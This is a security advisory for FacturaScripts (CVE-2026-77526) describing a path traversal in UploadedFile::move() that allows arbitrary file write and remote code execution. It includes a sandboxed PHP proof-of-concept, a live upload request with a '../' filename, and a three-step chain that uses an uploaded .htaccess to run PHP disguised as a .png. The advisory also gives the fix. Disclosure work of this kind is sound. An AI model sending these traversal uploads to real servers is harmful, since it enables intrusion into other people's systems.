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Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to RCE

Critical
NeoRazorX published GHSA-hgjx-r89m-m7v4 Jul 14, 2026

Package

composer neorazorx/facturascripts (Composer)

Affected versions

>= 2025, <= 2026.2

Patched versions

None

Description

Summary

FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without
normalizing the resulting path. Every caller in the codebase passes UploadedFile::getClientOriginalName() — the
unsanitized client-supplied filename — as $destinyName, so an authenticated user submitting a filename containing
../ segments can write the uploaded content to any directory writable by the web-server user, escaping the intended
MyFiles/ location.

Because the shipped htaccess-sample (the documented production Apache configuration) excludes Dinamic/Assets/ and
node_modules/ from the index.php rewrite, files written into those directories are served directly by Apache.
Combined with .htaccess not being in BLOCKED_EXTENSIONS, the primitive escalates from arbitrary file write to
remote code execution.

Vulnerable Code

Core/UploadedFile.php:

private const BLOCKED_EXTENSIONS = ['phar', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'pht', 'phtml', 'phps'];

public function move(string $destiny, string $destinyName): bool
{
    if (!$this->isValid()) {
        return false;
    }
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this->test ?
        rename($this->tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}

public function getClientOriginalName(): string
{
    return $this->name ?? '';
}

isValid() only checks the extension blocklist, the upload error code, and is_uploaded_file() — it never inspects the
filename for directory separators or .. segments.

Six call sites pass the raw client filename straight into move():

- Core/Controller/ApiUploadFiles.php:58POST /api/3/uploadfiles
- Core/Controller/ApiAttachedFiles.php:136POST /api/3/attachedfiles
- Core/Lib/Widget/WidgetFile.php:84 — every form using a file widget
- Core/Lib/Widget/WidgetLibrary.php:215 — library widget upload
- Core/Lib/ExtendedController/DocFilesTrait.php:51 — document files trait
- Core/Controller/AdminPlugins.php:260plugin (zip) upload

Representative sink — Core/Controller/ApiUploadFiles.php:56-79:

private function uploadFile(UploadedFile $uploadFile): ?AttachedFile
{
    if (false === $uploadFile->isValid()) {
        return null;
    }
    $destiny = FS_FOLDER . '/MyFiles/';
    $destinyName = $uploadFile->getClientOriginalName();
    if (file_exists($destiny . $destinyName)) {
        $destinyName = mt_rand(1, 999999) . '_' . $destinyName;
    }
    if ($uploadFile->move($destiny, $destinyName)) {
        ...
    }
}

Shipped htaccess-sample (production Apache rules):

<IfModule mod_rewrite.c>
   RewriteEngine On
   RewriteBase /
   RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]
   RewriteCond %{REQUEST_URI} !node_modules/ [NC]
   RewriteRule . index.php [L]
</IfModule>

Apache therefore serves any file under Dinamic/Assets/ directly, bypassing index.php entirely.

PoC

Step 1 — Static reproduction of the file-write primitive

The following script replicates UploadedFile::move()'s rename() path verbatim inside a sandboxed temp directory. It
does not run any payload — it only demonstrates that the destination escapes MyFiles/ when the filename contains ../.

<?php
$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fs_verify_' . uniqid();
mkdir($base);
mkdir($base . '/MyFiles');
mkdir($base . '/Dinamic');
mkdir($base . '/Dinamic/Assets');

$tmp = $base . '/tmp_upload.dat';
file_put_contents($tmp, "static-verification-marker\n");

function fs_move($tmp_name, $destiny, $destinyName) {
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return rename($tmp_name, $destiny . $destinyName);
}

fs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');

echo file_exists($base . '/Dinamic/Assets/traversed.txt')
    ? "WRITTEN OUTSIDE MyFiles\n"
    : "blocked\n";

Output:

WRITTEN OUTSIDE MyFiles

Step 2 — Equivalent live HTTP request

POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: <valid-api-token>
Content-Type: multipart/form-data; boundary=---X

-----X
Content-Disposition: form-data; name="files[]"; filename="../Dinamic/Assets/traversed.txt"
Content-Type: text/plain

static-verification-marker
-----X--

After the request, Dinamic/Assets/traversed.txt exists on disk and is reachable at
https://target/Dinamic/Assets/traversed.txt — Apache serves it directly because the path is excluded from the
index.php rewrite.

Step 3 — Chain to code execution

Because htaccess is not in BLOCKED_EXTENSIONS, the same primitive can write an Apache override into Dinamic/Assets/:

1. Upload with filename ../Dinamic/Assets/.htaccess and body AddType application/x-httpd-php .png
2. Upload with filename ../Dinamic/Assets/x.png containing a PHP payload (extension png is not blocked, content is not
 validated by isValid())
3. Request https://target/Dinamic/Assets/x.png — Apache hands it to the PHP handler per the uploaded .htaccess

Root Cause

UploadedFile::move() performs raw $destiny . $destinyName concatenation and trusts getClientOriginalName(), which
returns $this->name ?? '' with no normalization. No call site applies basename() or any equivalent before passing the
client filename to move(). The blocklist in BLOCKED_EXTENSIONS covers only PHP-family extensions and does not cover
htaccess, which is required for the rewrite-excluded directory to be useful for code execution.

Impact

Authenticated attacker (any role with permission to call one of the six upload entry points — including any user
allowed to attach a file to a record, or any API token with uploadfiles/attachedfiles access) can:

- Write arbitrary content to any path under the application root that is writable by the web-server user, including
Dinamic/Assets/ (Apache-direct-served) and node_modules/.
- Overwrite shipped JS/CSS inside Dinamic/Assets/, injecting client-side script that executes in every administrator's
 browser → session takeover on next admin page load.
- Drop a .htaccess into Dinamic/Assets/ remapping a benign extension to the PHP handler, followed by a second upload
that lands an executable payload — full remote code execution as the web-server user.

The required precondition is only an authenticated session or API token with upload privileges, which is granted to a
wide range of non-administrative roles in standard installations.

Fix

Minimal fix — sanitize inside UploadedFile::move() so every call site is covered automatically:

public function move(string $destiny, string $destinyName): bool
{
    if (!$this->isValid()) {
        return false;
    }
    // strip any directory component from the client-supplied filename
    $destinyName = basename($destinyName);
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this->test ?
        rename($this->tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}

Apply the same change in moveTo().

Recommended hardening in addition:

- Add htaccess, htm, html, shtml, phtm to BLOCKED_EXTENSIONS, or replace the blocklist with an allowlist resolved per
call site.
- After concatenating the final destination, verify with realpath() that the result is still inside the intended base
directory; abort otherwise.
- Drop a Deny from all .htaccess (or equivalent web-server rule) into MyFiles/ so even successfully written files
cannot be requested directly without going through the application download endpoint (which already enforces
MyFilesToken).

Status

Reported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-77526

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Unrestricted Upload of File with Dangerous Type

The product allows the upload or transfer of dangerous file types that are automatically processed within its environment. Learn more on MITRE.

Credits